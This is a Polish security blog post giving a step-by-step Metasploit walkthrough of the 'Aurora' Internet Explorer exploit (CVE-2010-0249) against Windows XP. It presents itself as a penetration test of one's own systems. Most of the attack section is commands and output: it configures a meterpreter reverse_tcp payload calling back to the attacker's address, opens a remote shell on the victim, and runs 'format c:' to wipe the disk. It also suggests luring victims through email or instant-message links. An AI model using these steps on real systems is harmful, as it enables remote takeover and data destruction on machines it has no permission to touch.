17 stycznia 2010

Exploit Zero Day "Aurora" - test penetracyjny krok po kroku [video]


Najnowszy exploit Zero Day (CVE-2010-0249, Microsoft Security Advisory 979352) "Aurora" pozwalający na wykonanie dowolnego kodu praktycznie we wszystkich wersjach systemów Windows z pomocą luki obecnej w niemal każdej wersji przeglądarki Internet Explorer jest już dostępny dla każdego. Exploit wszedł już bowiem w skład środowiska Metasploit Framework, wobec czego każdy może przetestować podatność własnych (wyłącznie własnych!) systemów na jego działanie oraz skuteczność ewentualnych środków podjętych w celu obrony przed potencjalnym atakiem. Zapraszam więc do zapoznania się z omówionym poniżej krok po kroku przykładowym testem penetracyjnym (atakiem testowym)...

Do przeprowadzenia naszego testu penetracyjnego (ataku testowego) posłużymy się niezastąpionym środowiskiem Metasploit Framework oraz najnowszym systemem Linux BackTrack 4. Osoby nieobeznane z testami penetracyjnymi oraz podstawami pracy ze środowiskiem Metasploit, zachęcam najpierw do przestudiowania wpisu Metasploit Framework: przykładowy test penetracyjny w praktyce.

Celem naszego testu penetracyjnego będzie uzyskanie całkowitej kontroli nad systemem Windows XP za pomocą wchodzącego w skład Metasploit Framework modułu exploitu windows/browser/ie_aurora. W tym celu należy w systemie Linux BackTrack 4 uruchomić konsolę Metasploit Console (msfconsole) i wykonać następujące polecenia:
  • msf > svn update (uruchomienie procesu aktualizacyjnego całego środowiska Metasploit, warto zawsze z niego skorzystać przed rozpoczęciem właściwej pracy)
  • msf > use exploit/windows/browser/ie_aurora (wybór oraz wejście w tryb konfiguracji modułu exploitu ie_aurora)
  • msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp (wybór oraz wejście w tryb konfiguracji modułu payloadu meterpreter/reverse_tcp; payload to kod, który zostanie uruchomiony w docelowym systemie w przypadku udanego wykonania się ataku testowego)
  • msf exploit(ie_aurora) > set LHOST 192.168.64.129 (ustawienie adresu IP naszego systemu, z którym payload uruchomiony w docelowym systemie nawiąże połączenie zwrotne)
  • msf exploit(ie_aurora) > set URIPATH / (ustawienie ścieżki w adresie, na który musimy zwabić potencjalną ofiarę; w tym przypadku będzie to po prostu adres komputera, na którym konfigurujemy exploit)
  • msf exploit(ie_aurora) > exploit (uruchomiemie exploitu ie_aurora)
W tym momencie nasz exploit przygotuje serwer oczekujący na przyjęcia połączenia z docelowego systemu, co poznamy po następującej sekwencji komunikatów:
[*] Exploit running as background job. msf exploit(ie_aurora) >
[*] Started reverse handler on port 4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.64.129:8080/
[*] Server started.
Teraz pozostaje nam już tylko odwiedzenie w docelowym systemie za pomocą przeglądarki Internet Explorer złośliwego adresu (czyli adresu określonego w parametrze: Local IP: http://192.168.64.129:8080/). W trakcie rzeczywistego ataku, intruz starałby się zwabić potencjalną ofiarę na przygotowany przez siebie adres za pomocą specjalnie przygotowanej wiadomości e-mail, poprzez przesłanie linku za pomocą komunikatora IM, itp.

Po odwiedzeniu w systemie docelowym złośliwego adresu(http://192.168.64.129:8080/), jeśli tylko system ten będzie podatny na atak, w środowisku Metasploit ujrzymy następującą sekwencję komunikatów:
[*] Sending Microsoft Internet Explorer "Aurora" Memory Corruption to client 192.168.64.135 [*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.64.129:4444 ->192.168.64.135:1109)
msf exploit(ie_aurora) >
Połączenie z docelowym systemem zostało więc nawiązane, a my za pomocą następujących komend możemy uzyskać pełny dostęp do wiersza poleceń ofiary:
  • msf exploit(ie_aurora) > sessions -i 1
  • [*] Starting interaction with 1...
  • meterpreter > getuid (wyświetlenie informacji o użytkowniku zalogowanym w docelowym systemie)
  • Server username: WOJTEK-CQS4EXFU\admin
  • meterpreter > shell (uruchomienie konsoli systemowej przejętego systemu)
  • Process 388 created.
  • Channel 1 created.
  • Microsoft Windows XP [Version 5.1.2600]
  • (C) Copyright 1985-2001 Microsoft Corp.
  • C:\Documents and Settings\admin\Desktop>format c: (jesteśmy w konsoli docelowego systemu, możemy rozpocząć dowolne działania w zdalnym systemie...)
  • format c:
  • The type of the file system is NTFS.
  • WARNING, ALL DATA ON NON-REMOVABLE DISK
  • DRIVE C: WILL BE LOST!
  • Proceed with Format (Y/N)? Y
W wyniku otrzymaliśmy więc pełny dostęp do systemowej konsoli ofiary. Przebieg całej procedury można prześledzić na poniższym zrzucie ekranu z systemu BackTrack:

Poniżej zamieściłem również film ilustrujący przebieg przykładowego ataku testowego z perspektywy atakującego oraz ofiary.


Podsumowując, udało nam się więc przejąć całkowitą kontrolę nad systemem Windows XP za pomocą exploitu Zero Day. Zgodnie z informacjami opublikowanymi przez firmę Microsoft na przedstawiony powyżej atak podatne są niemal wszystkie rodzaje obecnie spotykanych przeglądarek Internet Explorer. Na chwilę obecną nie istnieją również poprawki bezpieczeństwa zamykające lukę wykorzystywaną przez exploit "Aurora".

Między innymi właśnie za pomocą tego exploitu oraz podobnej metody działania, chińskim hakerom udało się niedawno skutecznie zaatakować komputery pracowników kilkudziesięciu wielkich korporacji, miejmy się więc na baczności!

Artykuł autorski HCSL - Wojciech Smol